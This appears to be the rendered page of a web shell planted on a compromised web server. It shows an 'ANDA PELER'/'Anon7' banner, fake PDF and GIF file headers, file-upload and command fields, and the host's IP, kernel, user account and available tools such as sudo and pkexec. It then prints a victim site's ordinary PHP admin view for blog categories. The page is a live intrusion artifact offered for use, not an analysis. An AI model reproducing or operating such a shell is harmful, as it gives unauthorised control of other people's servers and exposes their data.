%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/www/application/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/www/application/views/admin/blog.php
<?php defined('BASEPATH') OR exit('No direct script access allowed');?>
<?php $this->load->view('backend/Common/Head'); ?>
<?php $this->load->view('backend/Common/Header'); ?>
<?php $this->load->view('backend/Common/Sidebar'); ?>
<?php $this->load->view('backend/Common/Menu'); ?>
<script type="text/javascript">
function areyousure()
{
	return confirm('<?php echo lang('confirm_delete_category');?>');
}
</script>

<div class="button_set">
	<a class="button" href="<?php echo site_url($this->config->item('admin_folder').'/categories/form'); ?>"><?php echo lang('add_new_category');?></a>
</div>

<table class="gc_table" cellspacing="0" cellpadding="0">
    <thead>
		<tr>
			<th class="gc_cell_left"><?php echo lang('category_id');?></th>
			<th><?php echo lang('name')?></th>
			<th class="gc_cell_right"></th>
		</tr>
	</thead>
	<tbody>
		<?php echo (count($categories) < 1)?'<tr><td style="text-align:center;" colspan="3">'.lang('no_categories').'</td></tr>':''?>
		<?php
		define('ADMIN_FOLDER', $this->config->item('admin_folder'));
		function list_categories($cats, $sub='') {
			
			foreach ($cats as $cat):?>
			<tr class="gc_row">
				<td class="gc_cell_left" style="width:16px;"><?php echo  $cat['category']->id; ?></td>
				<td><?php echo  $sub.$cat['category']->name; ?></td>
				<td class="gc_cell_right list_buttons">
					<a href="<?php echo  site_url(ADMIN_FOLDER.'/categories/delete/'.$cat['category']->id);?>" onclick="return areyousure();"><?php echo lang('delete');?></a>

					<a href="<?php echo  site_url(ADMIN_FOLDER.'/categories/form/'.$cat['category']->id);?>" class="ui-state-default ui-corner-all"><?php echo lang('edit');?></a>

					<a href="<?php echo  site_url(ADMIN_FOLDER.'/categories/organize/'.$cat['category']->id);?>"><?php echo lang('organize');?></a>
				</td>
			</tr>
			<?php
			if (sizeof($cat['children']) > 0)
			{
				$sub2 = str_replace('&rarr;&nbsp;', '&nbsp;', $sub);
					$sub2 .=  '&nbsp;&nbsp;&nbsp;&rarr;&nbsp;';
				list_categories($cat['children'], $sub2);
			}
			endforeach;
		}
		
		list_categories($categories);
		?>
	</tbody>
</table>
<?php include('footer.php');

Anon7 - 2022
SCDN GOK